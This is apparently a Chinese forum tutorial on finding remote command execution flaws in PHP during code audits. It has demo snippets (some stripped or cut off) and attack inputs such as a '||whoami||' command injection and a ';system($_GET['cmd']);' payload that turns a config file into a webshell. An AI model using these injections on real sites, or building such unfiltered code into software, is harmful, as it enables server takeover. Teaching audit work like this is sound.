阅读:3253回复:0
说说RCE那些事儿
◆1 引言
如果OWASP给PHP漏洞弄个排行榜,那RCE(远程命令执行)绝对是最臭名昭著漏洞的前十名,其攻击方式灵活,且攻击成功后一般返回继承了web组件(如apache)权限的shell,危害自不必再多描述。那么,今天就来看看代码审计中到底该在哪里寻找命令执行?或者说,哪些功能会导致代码执行? ◆2漏洞寻踪 这是一个最简单的命令执行漏洞 #!php //index.php 我们可以执行 index.php?cmd=whoami 特别注意如果我们使用了 #!php 由于exec() 默认没有回显,所以执行命令之后 我们是看不到结果的, 当然我们能够通过重定向,把他们导入文件中,再来查询 当然这些代码一般情况下是不可能出现在程序中的,我们仅作了解。 那么…… 到底哪里会出现命令执行呢? Demo #1 实现查询dns的RCE 这是一个实现查询dns命令的php程序片段,由于要和系统产生信息通道,使用了system()函数,过滤不严也导致了RCE。 #!php 如果我们请求 dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging 明显system ("dig whoami sirgod.com NS"); 是不能执行的 所以我们用“||”分别执行linux命令 dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging system ("dig ||whoami|| sirgod.net NS"); 那么我们就分离了dig命令和whoami 成功执行 Demo #2 配置信息保存不当的RCE 很多时候php的配置信息是直接保存在.php后缀的文件里面的 比如discuz 如果没有认真过滤… #!php if(isset($action) && $action == "setconfig") { $config_file = "config.php"; $handle = fopen($config_file, 'w'); $StringData = ""; fwrite($handle, $StringData); } 那么如果正常提交 就是 #!php 我们要是提交';system($_GET['cmd']);' 配置文件就会变成 #!php 很明显这就是个合法的php文件了,也成为了一个webshell。 Demo #2 缓存写入不当的RCE #!php $newsfile = "news.txt"; $file = fopen($newsfile, "r"); .......................................................................... elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) && (isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") && ($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) { $current_data = @fread($file, filesize($newsfile)); fclose($file); $file = fopen($newsfile, "w"); $_REQUEST["post"] = stripslashes(($_REQUEST["post"])); $_REQUEST["date"] = stripslashes(($_REQUEST["date"])); $_REQUEST["title"] = stripslashes(($_REQUEST["title"])); if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " . $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "n " . $current_data)) include 'inc/posted.html'; else include 'inc/error1.html'; fclose($file); 这个代码的业务功能就是写入缓存,是下次使用之前直接调用静态文件 如何显示给访客呢 #!php 那么我们试试注入shell #!php [table] [tr][td] [/td][/tr] [tr][td] Posted on: 08/06/2009 [/td][/tr] [tr][td] test2 [/td][/tr] [/table] [table] [tr][td] test [/td][/tr] [tr][td] Posted on: 08/06/2009 [/td][/tr] [tr][td] test [/td][/tr] [/table] 访问display.php?cmd=whoami 成功执行 ◆3 实例剖析 有人就说了,上面代码是简单的phpdemo而已,实际环境中的审计肯定没有那么简单,那么,当我们面对完整的php程序,他们面对对象,基于各种框架,还怎么去寻找RCE的踪迹呢? 我们来看几个实例 齐博cms缓存写入导致远程代码执行 漏洞文件 #!php foreach($label AS $key=>$value){ var_dump ($value);exit;//如果是新标签时,即为数组array(),要清空 if(is_array($value)) { $label[$key]=''; } } //写缓存 if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){ $_shows=" |
|